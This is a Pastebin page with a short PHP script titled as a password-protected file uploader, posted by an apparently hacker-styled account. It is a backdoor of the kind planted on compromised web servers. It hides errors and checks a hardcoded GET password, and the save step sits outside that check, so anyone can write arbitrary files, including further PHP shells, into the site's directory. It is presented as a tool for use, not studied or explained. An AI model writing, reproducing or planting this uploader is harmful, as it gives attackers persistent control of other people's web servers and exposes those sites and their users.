Advertisement
zeeshan-haxor-zesn

PHP file uploader [Password Protected]

Oct 23rd, 2016
375
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.84 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. if (isset ($_GET["passwd"]) and $_GET["passwd"]=="zeeHaxor")
  4. {
  5. ?>
  6. <body onload="command.focus()">
  7. <form enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
  8. <input type="hidden" name="MAX_FILE_SIZE" value="900000" />
  9. upload: <input name="uploaded" type="file" /><br />
  10. <input type="submit" value="Upload" />
  11. </form>
  12. </body>
  13. <?php
  14. }
  15. $target_path = "./";
  16.  
  17. $target_path = $target_path . basename( $_FILES['uploaded']['name']);
  18.  
  19. if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path))
  20. {
  21. echo ";)";
  22. }
  23. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement